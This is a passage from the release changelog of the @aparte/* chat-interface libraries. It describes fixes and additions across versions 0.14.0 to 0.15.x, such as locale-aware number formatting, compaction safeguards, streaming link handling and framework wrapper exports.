stackedgetter, which counts the CSS route (.aparte-split--only-start/--only-end) as well as the element’s owndata-stacked. Abreakpoint="none"split wearing one of those classes therefore looked, at mount, like a split leaving a state it had never entered — and had its authoredpaneremoved on the way in.@aparte/core -
5e0c4e7: A
registerStreamBlockgrammar’stoSegmentruns exactly once per tag, with prose before the tag or without — safe to count, allocate or register in.a <note kind="k"/>emitted the right segments, but built them twice: the text run went out first and the tag was left in the buffer to be re-read on the next step, so a grammar that counts, allocates or registers something intoSegmentdid it a second time and threw the first result away. The tag is now consumed once and the block it built waits its turn. What comes out, and in which order, is unchanged.@aparte/core -
3a0f593:
<aparte-context>now formats its numbers withlocale.taginstead of the browser’s.Both
Intl.NumberFormatcalls in the gauge passedundefined— “follow the BROWSER” — which is exactly the bugAparteLocale.tagwas added to close, and which<aparte-conversation-list>and the bubble’s clock already read it for. So an app that calledsetLocale(fr)moved fifty strings and left the gauge counting in en-US:14%where French writes14 %, and128Kwhereja-JPwrites12.8万.Both the bar’s reading and the ring’s percentage follow the tag now, including the meter’s
aria-label. A locale with no tag still follows the browser, which is the documented English default.@aparte/core -
33c62b5: Two sends fired back to back keep their order, and an attachment named
A & B.pngreads as itself in the tooltip and the alt text.A second send arriving while the first is still creating the conversation waits for it, so the two messages land in the order they were typed and the auto-title comes from the first. The attachment name was escaped twice on its way into the thumbnail’s
titleandalt— escaped once as text, then handed toescapeAttr— soA & B.pngwas displayed asA & B.png.The rest, none of which changes a call you make.
modelSelectorPlaceholderandapprovalModeLabelare declared fields ofAparteLocale(no value or behaviour changes — they were already read, just undeclared).cssEscapealso escapes a newline.updateMessage({ segments })on a bubble copies the array in, assetSegmentsdoes, so a caller that mutates its own array afterwards does not reach into the bubble. TheheadersJSDoc says the session cookie only rides a same-origin endpoint;setBubbleActions’s example no longer claims{ copy: false }hides everything;AparteClientloses an abort-controller set nothing ever added to.@aparte/core -
ecd50e2: The scroll-to-bottom button leaves the tab order while it is hidden.
Hidden meant opacity 0 and no pointer events, which the keyboard cannot see: the button stayed a tab stop while invisible, so Tab landed on nothing between the transcript and the composer. With the transcript now a stop of its own, that phantom stop pushed the composer past the eighth Tab on the vanilla example — the e2e that says a keyboard user must not hunt for the editor caught it on all three engines. A hidden button carries
tabindex="-1"andaria-hidden="true"; both go the moment it shows.@aparte/core -
bc75c30: The copy buttons now work on plain
http://— a code block, the artifact card and the bubble’s action bar fall back todocument.execCommand('copy')wherenavigator.clipboarddoes not exist.copyText(text)is exported so your own copy button can take the same path.navigator.clipboardis secure-context only. Onhttp://192.168.1.x— the LAN box running a local model, this library’s own archetypal deployment — the property isundefined, so each of the three buttons threw a TypeError in its click handler before the.catch()it carried for a rejected write, and did nothing, silently. Same wall ascrypto.randomUUIDanduuid();pnpm check:secure-contextnow confines both APIs to their one fallback.@aparte/core -
fb14521: A field group’s prefix and suffix (
.aparte-field-group__prefix/__suffix) sit on their own ground —--aparte-surface-2with a rule against the field — instead of the field’s. Muted text on the same ground, “https://” read as the start of what the user had typed. The group clips to its corners for it (overflow: hidden); the focus ring is a shadow on the group, outside that box, and is not clipped.@aparte/core -
4b8bd15: The sidebar’s collapse and the drawer’s slide are animated:
--aparte-duration-slowfor the 260px fold,--aparte-duration-slowerfor the drawer, and both are stopped underprefers-reduced-motion.Both transitions named
--aparte-duration-normal, a tokentheme.csshas never declared — and avar()that resolves to nothing invalidates the wholetransitionshorthand at computed-value time, so neither property transitioned at all. They read--aparte-duration-slow(the 260px fold) and--aparte-duration-slower(the drawer, which travels the whole column plus its shadow). Nothing else changed, so a reader who learned the snap will read the slide as new behaviour: it is the behaviour the sheet always described.The sheet’s own
@media (prefers-reduced-motion: reduce)block goes with the fix.responsive.cssalready re-declares every duration token to0.01msunder that query, at the source — a second, hand-written patch for two selectors was the drift that hid the missing token in the first place.@aparte/core -
2f8fa7c: The switch’s thumb is centred in its track, and the track is 40×22 with a 2px inset. The thumb’s size is now derived from the track (
--aparte-switch-thumb-size= height − 2 × border − 2 × inset) instead of being a fourth number set by hand, so the three cannot drift apart again; a theme that changes the height gets a thumb that still fits.--aparte-switch-width,--aparte-switch-heightand--aparte-switch-thumb-insetare the knobs.It had been off by a pixel on one axis and the four values had been tuned separately — a defect you saw the moment the density preset made the control larger.
@aparte/core -
ebe003e: The transcript reserves its scrollbar gutter on both edges (
scrollbar-gutter: stable both-edges), so the centred column no longer shifts by half a scrollbar the moment the first reply overflows. Applies to the vanilla scroll container and to the framework-managed viewport alike; a host that wants the old behaviour setsscrollbar-gutter: autoon.aparte-viewport-container.@aparte/core -
1a9da39: The viewport keeps confirming its scroll position while a rebuilt transcript’s height is still settling, instead of giving up at the first frame the gap looks closed.
A layout settles in stages, so one
scrollTopassignment is not enough and the viewport confirms it over the frames that follow. That confirmation was bounded by four frames and stopped at the first frame the gap was closed — and a rebuild is exactly the case that re-opens it. Measured on react-webkit: a branch swap churned the scrollable max 891 -> 1091 -> 891, the gap closed against the tall layout so the chain ended, the height then fell back with the engine holding the position at 720, and the transcript stood 171px short with auto-follow still armed and a scroll-to-bottom button on a reader who never left.Two changes. The confirmation is bounded by 400ms instead of four frames — a frame count is a proxy for time that fails precisely on the slow engine — and it keeps watching after a gap closes, until the window is over. And a decrease the reader did not make, which leaves a gap while the follow is armed, re-opens that window; nothing else could close it, since the rebuild’s mutations are over and the resize observer watches the host’s box, not the transcript’s content.
A reader is still left alone: the intent flag is re-read every frame, and a gesture, a drag-selection upward or a find-in-page jump all disarm the follow before the new path can be reached. A scroll of ours that is still moving down is left alone too — that is every frame of a smooth scroll, and re-anchoring one of them would abort the animation. During a stream the confirmation is now one chain rather than one per token.
What this does NOT close: the react-webkit branch-swap failure that started the investigation still reproduces at the same rate (18/20 first attempt, with and without this change). Its captured mechanism is a different one — WebKit moves the position up by 36-338px with the scroll height standing still, before the press, which the classifier reads as the reader and disarms the follow — so both new paths, gated on the follow being armed, are inert on it.
@aparte/core -
4e04443: The four wrappers render
<aparte-elicitation>inside their host by default; passelicitation={false}(:elicitation="false"in Vue,[elicitation]="false"in Angular) to opt out. If your app registers its own presenter withsetElicitationPresenter(), you must pass it: the built-in presenter registers with the chat as its owner and wins the match for that chat’s requests, so without the opt-out your questions would open core’s panel instead of your presenter.Core’s
<aparte-chat>has shipped the presenter in its default composition since the built-in approval gate started asking through it, and the wrappers had not followed: arequestUserInput()under<AparteChat>rejected with the “no presenter” warning, and that warning told you to add the element “inside your<aparte-chat>” — a tag the wrappers do not render. The first consumer to hit it appended the element to[data-aparte-chat]by hand. The warning now names the framework host too, and the composer’s docblock names the four lifecycle events that drive itsstreamingflag (aparte-message-startsets it;-done/-error/-abortedclear it) instead of “lifecycle events on window”.@aparte/core -
a9a3ce4: A streamed turn that ends on
finish_reason: 'stop'or'length'(or a bare[DONE]) after tool-call deltas now emits the accumulatedtool_useevents instead of dropping them — a call cut mid-arguments is dropped with a console line rather than run on{}. The accumulator no longer inherits fromObject.prototypeand a vendor’sindexis made a number, so a chunk whoseindexis"__proto__"pollutes nothing.@aparte/provider-openai-compat -
0556897: A
match()that returns something other than a scenario key — the scenario object, an unknown name — is said in the console, naming what it returned and the keys the provider knows, instead of streaming an empty turn in silence (“Typing…” forever, issue #29). The value-branching pattern — the tool’s result carries the answer,matchreads it back from the lasttool_result— is documented.@aparte/provider-scenario -
4123389: An app-built artifact segment with an upper-case
artifactType('HTML','SVG') gets a working Preview tab.The card lower-cases
artifactTypeat every read, so a segment an app assembles by hand meets the lower-case names the parser produces. Compared case-sensitively it would not:'HTML'misses the previewable kinds after the tab has already rendered enabled, and the press shows nothing.@aparte/plugin-artifacts -
b6f4cc9: The receipt in the transcript reads its answers from the tool’s
structuredResult: the shipped renderer hands it the structured value alongside the prose.structuredResultis new this release (AparteToolResult.structuredContenttravelling with the call), and the receipt reads that path first, falling back to parsing the prose. The renderer the plugin ships passed only the prose, so on the default wiring the structured path was never taken and the receipt was reconstructing what it had been handed.@aparte/plugin-ask-user -
ec4b2a5: A compaction whose summary arrives after the conversation was switched is refused: the summary never lands on the transcript the user moved to.
A summarisation is a model call, so seconds pass between reading the transcript and replacing it. If the user switched conversation in that window, the plugin emptied whatever was on screen and appended the summary of the conversation they had left, plus the turns it had selected there — over conversation B, reported as
ok: true, and persisted with B by whatever storage the host had wired. A user-pressed abort was the only thing that stopped it.The check is the cheapest one that says “this is not the transcript I read”: if not one selected turn is still on the target when the model answers, the whole active path was replaced (a conversation switch, a reset), and the compaction returns
{ ok: false, error: 'The transcript changed while the summary was being written' }with the matchingaparte-compact-error. A transcript that merely changed — a turn deleted, turns appended meanwhile — is not affected: one surviving selected turn is enough, and what arrived is still kept, exactly as before.CompactionSkipReasonis unchanged; this is a failure, not a skip.@aparte/plugin-compaction -
ec4b2a5: A compaction keeps the images and files on the turns it re-appends, and releases the object URLs of the summarised-away turns only.
A compaction empties the transcript and puts the kept turns straight back. But
<aparte-chat-viewport>.clearAll()releases theblob:object URL of every attachment it drops — a deliberate leak fix — so the very messages being re-appended would come back with dead URLs: every image and file chip on a surviving turn, and on anything that arrived while the summary was being written.The plugin clears with
{ revokeAttachments: false }and releases the URLs itself, afterwards, for the summarised-away turns alone.CompactionTarget.clearAllaccordingly takes an optional{ revokeAttachments?: boolean }; a target of your own may ignore it and keeps working.This holds on all four paths:
<aparte-chat>,<aparte-chat-viewport>, and — under React, Vue, Svelte and Angular — the wrapper’s own root element, whoseclearAllbridge carries the option through to the viewport (a@aparte/corechange, shipped in the same commit).The plugin’s own suite could not see this: its target is a plain array whose
clearAllonly empties it. The test that catches it drives a real<aparte-chat-viewport>.@aparte/plugin-compaction -
ec4b2a5: A compaction summarises every assistant turn it drops, including the turns a host appended with no
statusat all.The summarisation request was built from a hand-written clause that demanded
status: 'completed'on an assistant turn. A host that appends its own messages sets no status at all — the shape the guides teach — so its replies were deleted by the compaction without ever reaching the summariser: the user’s questions survived in the summary, every answer to them was gone. The filter is now theinFlightpredicatecompact()already guards the whole transcript with, so the two cannot disagree. A reply that ended in an error is carried too: the user read it, and it is about to be deleted.Related: a compaction whose dropped turns say nothing at all now fails with
Nothing summarisable in the dropped turnsbefore the model call, rather than paying for a summary of an empty transcript and replacing the conversation with the answer.@aparte/plugin-compaction -
5e13b5d: A link now opens in its own tab from the moment it streams in, instead of only after the message settles.
The streaming renderer writes DOM directly, so it bypasses the one-shot sanitizer — which is why it already applies core’s URL-scheme policy live through
isSafeUrl. It did not apply the other half: until the settle re-render, every model link was a bare anchor that navigated the frame the chat lives in, clickable for the whole length of the reply.An external
href(https://,http://, the scheme-relative//host, and the spellings that resolve off-site just the same —/\host,http:/host) now getstarget="_blank" rel="noopener noreferrer"as it is written. Same-site and in-page links are left alone, exactly as the one-shot path leaves them. The rule is a deliberate, minimal copy of core’sconfig/sanitize.ts, which owns it — core exportsisSafeUrlbut not this predicate, and the comment beside it says so.@aparte/plugin-streaming-markdown -
3e460f3: All twenty generated element directives are exported —
AparteContextDirective,AparteIconDirectiveandAparteSuggestionsDirectivewere missing from a hand-written list, so<aparte-icon>,<aparte-suggestions>and<aparte-context>were tags nothing claimed.provideAparte({ themeMode })reads Angular’s injectedDOCUMENTinstead of the globals, so an app initializer no longer touchesdocument/windowunder Universal.@aparte/angular -
1b1a715: The bubble each wrapper renders carries
data-kind="compaction"when the message is the summarycompact()injected (message.compaction), so the notice is drawn as a notice — centred, no avatar, no actions — under a framework too, not only under the vanilla viewport.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4123389:
<AparteUi>forwards ten events it used to swallow when you pass noeventsof your own:aparte-suggestion,aparte-context-threshold,aparte-scroll-rail-jump,aparte-sidebar-toggle,aparte-split-resize, and the turn’s lifecycle —aparte-message-start,aparte-message-done,aparte-message-error,aparte-message-abortedandaparte-tool-approval-request.No wrapper code changed: the default list is
APARTE_DEFAULT_UI_EVENTS, it lives in@aparte/core, and the ten names joined it there. It is repeated here because this is the CHANGELOG a wrapper consumer reads, and the effect is theirs — watching a turn end used to mean reaching past<AparteUi>for awindowlistener, and this release’s shell elements (<aparte-sidebar>,<aparte-split>,<aparte-scroll-rail>) speak through the proxy from their first version. This release’s own new events —aparte-link-click,aparte-rename-conversation,aparte-pin-conversation,aparte-unpin-conversation— joined the same list at birth, so the constant grew by fourteen names in all.If you pass your own
eventsarray you are unaffected: that list is used verbatim, as before.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
4123389:
<AparteUi>applies its props to a freshly created element when onlynameoreventschanged, so a memoized prop bag is no longer lost.Changing either of those two recreates the element. The props effect then had nothing to react to — the bag was the same object — so a
useMemo’dpropsnever reached the new element and the surface came up bare. React now follows the order Vue, Svelte and Angular already used: create, then apply.useAparteClient’s JSDoc saysoptionsis read once, on mount.@aparte/react -
5b2d42a: An uncontrolled
<AparteChat>(nomessagesprop) no longer wipes its own thread on every render and loops — the omitted-prop default was a fresh array each render, and the parent-push effect compared by identity. The published build now carries'use client'(Rollup dropped the source directive when it merged the module), so the documented Next App Router path works on import.useConversationManager().init(adapter, config?)is typed with theconfigits JSDoc told you to pass.@aparte/react -
a7528d1:
toolFailed(« Échec ») for the tool row’s new failed state.@aparte/locale-fr -
4123389:
APARTE_DOCS_URL=""— exported but empty — falls back to the public docs site, and the version the MCP handshake reports is read from the package’s own manifest.The base URL is read with
||, not??: an env var exported but empty is unset, and so is a pasted value that is only whitespace.The handshake version is read from
package.jsonat startup rather than written as a literal in the source: changesets bumps the manifest and nothing else, so a literal would report a version npm never served.@aparte/docs-mcp
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki.
0.15.1
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
- 4856ab6:
AparteAIProviderMetadatais now really importable from@aparte/core. 0.15.0’s changelog announced it and the package disagreed: the name had been added to the types module and not to the root barrel, whose type list is explicit, so the import was still TS2724 in the publisheddist/index.d.ts. A consumer checked the tarball. A test now imports it from the barrel, type-checked, so the barrel cannot drop it again quietly.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.15.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
7502ed0:
appendMessage(message, { historical: true })now reaches the host from every wrapper — the React ref handle anduseAparteChat, the Vue instance anduseAparteChat, the Svelte component andcreateAparteChat, the Angular component — andAparteChatImperativeApideclares the option. A restored message is adopted as it is: no fresh timing stamps,isStreamingforced off, so a tool call read back from your own backend renders settled rather than spinning.The host had accepted the option all along (it is how a stored conversation loads), but every wrapper’s
appendMessage(m)dropped the second argument on the way, so the replay-one-message-at-a-time path the core tests exercise was unreachable from a framework. Found by the second consumer, whose history lives on its own server.@aparte/core,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
952e488:
ASK_USER_DECLINEDis exported: the exact sentence the tool returns as its result when the user declines ('The user declined to answer.'). Import it instead of copying the literal — a host that turns tool results into prose, or recognises a declined question in its own transcript, matched the string by hand until now, and a rewording here would have broken it without a word.The constant existed for the receipt’s own sake (the card must show “declined” rather than pair that sentence with the first question as though the user had said it) and never left the module. Reported by a consumer who had checked.
@aparte/plugin-ask-user -
0152d42:
createAskUserTool({ systemPrompt: false })(andsetupAskUserwith the same option) registers the tool with no system message at all. Until now the prompt could be replaced but not removed:''still put a field on the tool, and since 0.13 that field is really sent as a system message. A product whose model is trained on a fixed contract, and must not read any added prose, had to strip the field off the returned object by hand.@aparte/plugin-ask-user
Patch Changes
-
4590cbe: A focused option in the elicitation panel keeps its whole focus ring. The options sit in a scroll container, which clips at its padding edge, and the ring is drawn outside the option’s box — so a keyboard-focused option lost 4px of ring on every side (the border looked cut). The container now pads by the ring’s size and takes the space back with a negative margin, in the same tokens the ring reads (
--aparte-focus-outline-width,--aparte-btn-focus-offset), so nothing moves and a wider ring gets a wider room.scroll-paddingkeeps a focused option’s ring in view when the list scrolls.@aparte/core -
4b73f83:
AparteAIProviderMetadata— the return type of a provider’sgetMetadata()(name, id, icon, colour) — is exported from@aparte/core. A provider written outside this repository had to spell itReturnType<AparteAIProvider['getMetadata']>; reported by a consumer in July and again now.@aparte/core -
06e028b: A tool call’s input and result now wrap inside the bubble instead of running past its edge. A one-line result — an error message, a long path — was 1 823px of text in a 723px body (407px on a phone): the
<pre>kept its defaultwhite-space: pre, so the whole disclosure was clipped at the message’s edge. It gets the same pair the code block already had,white-space: pre-wrap+overflow-wrap: anywhere; a stylesheet that targeted.aparte-tool-part-body prekeeps working, the rule only moved fromprose.cssto the tool-call segment’s own sheet.@aparte/core -
47dddaa: The
showcasepreset gains asurveyturn — “two questions”, “a few questions” or “survey” makes the model ask two questions in oneask_usercall, so the panel’s stepper (1 2, a Skip per step) has a scenario that shows it. Nothing in the repository rendered that mode until a consumer reported clipped borders on it; a state no example renders is a state nobody looks at.@aparte/provider-scenario
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr.
0.14.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
e58508a:
<aparte-chat-bubble>reads its message role fromdata-roleonly; arole="user"/role="assistant"attribute is no longer honoured. If you write bubbles by hand, writedata-role(the viewport and every wrapper already did).roleis ARIA’s attribute — the element sets it toarticleon itself — and reading a message role from it too meant filtering our own value back out at every turn. Pre-1.0 a rename lands as a rename, without an alias.@aparte/core -
ea6cfe0:
showPanel()now mounts the panel inside any<aparte-composer>descendant markeddata-aparte-panel-host. Without the marker nothing changes: the panel still goes right after the first<aparte-composer-input>.“After the input” is a position, not a choice — a layout with the input in a row and the panel meant for a block of its own had no way to say so, and a builder that lays the composer out for you needs to.
@aparte/core -
461a692: New
<aparte-context>: a gauge of the model’s context window. It reads each turn’s reported usage and the window the current model declares (or awindowattribute), setsdata-leveltook/warn/dangerat thewarn/dangerfractions (75 % / 90 %), firesaparte-context-thresholdwhen the level changes, and withauto-compactdispatchesaparte-compacton reaching danger. New in@aparte/engine:createCompactionSelector({ contextWindow, systemPrompt }), the budget-awarecompactionSelectorforAparteClient— the newest turns that fit stay verbatim, the rest is summarised. New locale keycontextLabel, translated in@aparte/locale-fr.The first product built on the library showed a context badge that turned red at 90 % — and then nothing happened, because
compact()existed,compactionSelectorexisted, the engine’s compactor existed, and no piece joined them. This is the join: the gauge watches, the selector decides, and the two read the same window.@aparte/core,@aparte/engine -
04289bb:
@aparte/corenow depends on@aparte/engine— first-party, nothing from outside@aparteis installed — sonpm i @aparte/coreinstalls both; nothing changes in how you call either package.AparteStreamRunEvent,AparteStreamRunEmitter,AparteStreamRunOptionsandAparteStreamRunnerare engine’sStreamRunEvent,StreamRunEmitter,StreamRunOptionsand runner shape under core’s names.@aparte/engineno longer lists core as a peer dependency, andcreateCompactionSelectoris typed structurally (CompactableMessage), so it takes core’s messages without importing core.Decision D1 of the 2026-08-28 audit. The run-event contract was hand-mirrored across a “zero-import” boundary and policed by a compile-time guard that had itself been written around the one field that broke the seam; the same tool turn corrupted the history in two different shapes, one per loop, invisible to the parity suite precisely because they differ. The direction is settled: the loop is engine’s, core drives it. This is the first half — the types; the inline loop’s deletion is the second.
@aparte/core,@aparte/engine -
4bde588: A non-ok response from
AparteDirectTransportorAparteBackendTransportnow throws anAparteErrorwith the vendor’s message,httpStatusand acoderead off the status; until now every one of them reached the error card andaparte-message-errorasUNKNOWN_ERROR, whatever the vendor had said. A listener that matchedcode === 'UNKNOWN_ERROR'to catch transport failures should match the new codes (or the class) instead. The table:429→USAGE_RATE_LIMIT,401/403→CONFIG_INVALID_KEY(new code),503→PROVIDER_UNAVAILABLE, other5xx→PROVIDER_ERROR,400→USAGE_BAD_REQUEST,408→NET_TIMEOUT.AparteError.from()applies the same table to any error that carries astatus, readsfetch’s network failure (aTypeErrornaming the fetch) asNET_ERROR—NET_OFFLINEwhennavigator.onLineis false — and aTimeoutErrorasNET_TIMEOUT; a code the caller names is kept.AparteError.codeForStatus(status)is exported for a provider that wants the same mapping. A404stays unclassified on purpose: it is a wrong model or a wrong URL, and the message says which.@aparte/core -
129e094: Two chrome strings now follow the locale: the scroll-to-bottom button’s accessible name (
scrollToBottom) and the title of the messagecompact()injects (compactionSummaryTitle, no emoji any more).@aparte/locale-frships both.Both were hardcoded English in an otherwise localised transcript — a French chat compacted into a ”📝 Conversation summary” header, and its one floating button was announced in English. The keys are optional on
AparteLocale, so an existing locale package keeps compiling and falls back to English per key until it adds them. The engine compactor’s ownsummaryLabelis unchanged: it is a per-call knob on the prompt side, this is the UI title.@aparte/core,@aparte/locale-fr -
f9cac24: Older messages no longer reserve a row for their action bar; it floats over the message’s header row on hover or focus, as a small bordered toolbar. The transcript tightens by 34px per turn. Three bars stay in the flow as before — the last assistant message’s (always visible under the reply), a message’s whose branch picker is showing (the bubble now stamps
data-brancheson.aparte-messagewhile it does), and every bar on a device that cannot hover, where the bar is now also visible instead of sitting at opacity 0 with nothing able to reveal it. A stylesheet that positioned.aparte-footeror styled.aparte-action-barfor older messages should be checked against the new@media (hover: hover)rules inbubble.css.Measured on the vanilla example: 103px between the text of one turn and the next, 34 of them this footer under every message. The bar floats inside the message box rather than below it because a bubble is a paint-containment boundary (
content-visibility), which clips anything outside.@aparte/core -
0850dee:
_meta.pipeline,_meta.artifactRawand_meta.artifactXmlare removed fromAparteChatRequest, and with them thepipeline-waitingsegment and engine’s artifact-XML state machine._meta.artifactHintand_meta.prefixSegmentsstay and are documented; an<artifact>tag in the reply’s text is parsed exactly as before, and the built-increate_artifacttool is unchanged. Gone in full:ApartePipelinePhase, thepipeline-waitingsegment type with its renderer, its stylesheet andApartePipelineWaitingSegment, and — in@aparte/engine—ArtifactXmlStateMachine, its types and thephase-advance/artifact-open/artifact-chunk/artifact-closerun events.Decision D2 of the 2026-08-28 audit. The multi-phase pipeline and the raw-artifact turn were one product’s orchestration wearing a library type — nothing in this repository emitted either, and a contract nothing exercises is maintained for nobody. The XML mode was a second path to what the stream parser already does natively with
<artifact>tags, kept alive by a state machine that had to be mirrored between two loops. One path is left, the parser’s, and the loop no longer branches on the request’s metadata at all.@aparte/core,@aparte/engine -
cd5075e:
AparteClientruns@aparte/engine’srunStreamAgentby default; core’s inline copy of the agent loop is deleted. One behaviour changes: a tool call stopped while it waited for approval is now markedaborted, neverrejected, and a host that stops the turn from the approval panel itself no longer leaves the call stuck atawaiting-approval. Nothing else changes in how you call either package.streamRunnerstays, to wrap or replace that loop ((opts) => runStreamAgent({ ...opts, onHistoryAppend })for a host that owns its transcript).deriveArtifactKindis the engine’s, re-exported by core under the same name.Decision D1 of the 2026-08-28 audit, second half. Two copies of one loop were “kept in sync” by hand and by a parity suite; the same tool turn corrupted the history in two different shapes, one per copy, invisible to that suite precisely because they differed. The suite’s 26 scenarios were snapshotted while both loops ran and were equal — the inline loop’s behaviour, pinned — and now live in core, where they also hold the client’s wiring to a direct engine run. That is what found the client writing
status: 'streaming'once too often, and what dropped the change from 2 470 lines of client to 1 750.@aparte/core,@aparte/engine -
95c390d: Two new tokens let a host match the chat’s scrollbar to its own page:
--aparte-scrollbar-thumb(derived from--aparte-neutral) and--aparte-scrollbar-track(transparent), beside the existing--aparte-scrollbar-width. A host page with a styled scrollbar of its own sets them onaparte-chatso the chat’s does not read as a second, foreign scrollbar — the docs site does this now. Defaults are unchanged; a stylesheet that overrodescrollbar-coloron.aparte-viewport-containerkeeps working.@aparte/core -
9cf00bb:
AparteSendEventDetaildeclaresmodelIdandproviderId: anaparte-sendcarrying them sends that one message to that model, overriding the config’s default for the turn — a per-message model picker.AparteClienthas honoured both fields for as long as it has readevent.detail, while nothing declared them and the composer never sent them, so the capability existed only for whoever read the client’s source. Declaring it is what makes it real; the generated events reference picks it up.@aparte/core -
1412c54:
setSkeletonProvider,getSkeleton,AparteSkeletonProvider,AparteSkeletonTypeandAPARTE_DEFAULT_SKELETON_FALLBACKSare removed from@aparte/core, andprovideAparte({ plugins: { skeleton } })from@aparte/angular. The.aparte-skeletonCSS recipe stays. If you registered a skeleton provider, delete the call: nothing read it.Nothing in core ever called
getSkeleton()— no component has a loading state that is not the message itself, so the seam was a contract with no consumer on either side, and the six fallback strings it shipped (and their four CSS classes) were dead weight in every bundle. A consumer who wants a placeholder uses the recipe, which is the part that was real.@aparte/core,@aparte/angular -
1412c54:
AparteStorageAdapterloses its optional memory-fact, settings and artifact-gallery methods, and theAparteMemoryFact/AparteArtifactRowtypes are gone.loadAttachmentsandAparteAttachmentRowstay. An adapter that implemented the removed methods still compiles — they were optional — but the types it named have to come from your own code now.The shape of a “memory fact” (
identity | fact | preference | tech | project | style, asourceofautooronboarding) and of a settings entry is one product’s schema, not a chat library’s; a public contract that carries it binds every other adapter to that product’s choices. Core never read any of those methods. The contract is now exactly what the chat needs persisted — conversations, their tree, their attachments — and an app extends the interface in its own code for the rest.@aparte/core -
e413352: New
<aparte-suggestions>: a row of prompt starters. Give itsuggestions='["…", {"label": "…", "prompt": "…"}]'(or set thesuggestionsproperty), and a click fills the composer and submits it;mode="fill"only fills and focuses,empty-onlyhides the row after the first send,targetnames the chat when the element sits outside its composer. It fires a cancelableaparte-suggestionfirst. New locale keysuggestionsLabel(the group’s accessible name), translated in@aparte/locale-fr.Every chat product opens on three or four of these, and the example app hand-rolled them — four buttons, a click handler, a CSS recipe of its own. The click goes through the composer’s
submit()on purpose: that is where every gate lives (disabled, streaming,requireModelSelection), and a chip that bypassed them sent a request with an empty model id while the composer was visibly greyed out. The chips wear theaparte-btnrecipe, so a theme reaches them with no knob of their own.@aparte/core -
8da979c: A new CSS class,
aparte-mark, gives a chosen row one look everywhere: an intent tint on its ground and a bar on its start edge.aparte-mark--success,--danger,--neutraland--quietpick the intent (primary by default), and two tokens move every mark at once:--aparte-mark-tint(18%) and--aparte-mark-bar(2px). The select’s chosen option, a checked field choice and the active conversation wear it; any row, option or button can.The recipe lives in
display/mark.css. The bar is drawn in the intent’s ink so it reads at 3:1 and above (the raw success fill was 2.27:1 on the light surface);--quietis the outcome that did not happen: no tint, no bar, muted. The bar is a::beforepseudo-element on the logical start edge, so a right-to-left row —diron the document, on the row, orauto— gets it on the right edge. The select’s chosen option keeps its look and now reads those tokens; a checked field choice (the elicitation panel’s options) gains the tint and the bar beside its primary border, and keeps them under the pointer; the active conversation gains the bar (its ground stays the list’s own).Tool-call rows: rejected and aborted no longer share the error ink — both keep the muted voice, and the glyph tells them apart (a cross for rejected, a stop square for aborted). Red stays for what went wrong.
@aparte/core -
1f654b0: The composer stays editable while a reply streams: the next message can be typed and files attached while the current reply arrives, as in every chat. Only the send is gated meanwhile — the button is Stop, and Enter neither sends nor stops (the draft stays and Enter sends it once the turn is over). Until now the editor and the attach button went inert for the whole turn.
disabledstill makes the editor non-editable (therequire-modelgate never did — it gates the send, and typing under it is what the browser suite checks), and a non-editable editor now leaves the tab order (tabindex="-1") and drops focus, so clicking it no longer lights the shell’s focus border on a field that cannot be typed in. A custom<aparte-composer-action>keeps its own rule (disabled while streaming), since its act is the host’s.@aparte/core -
e58508a: The deprecated
max-messagesattribute andmaxMessagesoption of<aparte-chat-viewport>are removed — usemax-rendered-bubbles/maxRenderedBubbles, which is what the alias had been forwarding to.Pre-1.0 a rename lands as a rename; the alias and its one-time warning were the one deprecation shim in the package. (
AparteConversationManager’s ownretention.maxMessagesis unrelated and unchanged.)@aparte/core -
1912df6: New package:
@aparte/provider-scenario, a scripted model.createScenarioProvider({ turns })answers the model’s calls in order;createScenarioProvider({ scenarios })picks a named turn bywhen(the last user message) orafter(a tool’s result). A turn is text streamed at a typing pace, thinking, a tool call the real loop runs, an error, a pause, a usage override.showcaseis a ready-made set covering the whole surface of a chat. No key, no network, no dependency of its own.Three things in this repository had written it by hand: the browser suite’s wire mock, the UI audit’s screenshot harness, the docs’ live frames. It is also the piece nobody ships for consumers — a deterministic model for their own tests, and a demo that streams without a backend. The repository’s browser suite keeps its network mock on purpose: it tests the wire path this provider bypasses.
@aparte/provider-scenario -
b4c7365:
createAskUserToolandsetupAskUseracceptname,descriptionandsystemPrompt;setupAskUseralso takesreceipt: falseto keep the transcript silent. Nothing changes when you pass none of them.The tool’s name was
ask_userthree times over (the tool, the receipt renderer, the Node entry) and its description and system prompt were fixed English — so a backend that already exposed anask_user, or a product that wanted the model to read another policy in another language, had to fork the tool for two strings. The receipt renderer now registers under whatever name is chosen, and declining the receipt no longer means registering an empty renderer aftersetupAskUserand hoping the order holds.@aparte/plugin-ask-user -
91607bd: The question receipt now shows a success tint and a bar on its start edge once answered (
aparte-mark aparte-mark--success), and a muted, unmarked look when declined (aparte-mark--quiet) — core’saparte-markrecipe, so it matches the select’s chosen option and a checked field choice. And aquestion-receiptsegment an app emits itself can now saydeclined: true— it renders the outcome alone, the way the tool’s own receipt already did.@aparte/plugin-ask-user -
a57ad06:
themeaccepts a{ light, dark }pair on both entries; the code block then follows core’s[data-aparte-theme="dark"]switch. A single theme works exactly as before.One theme paints one scheme, so
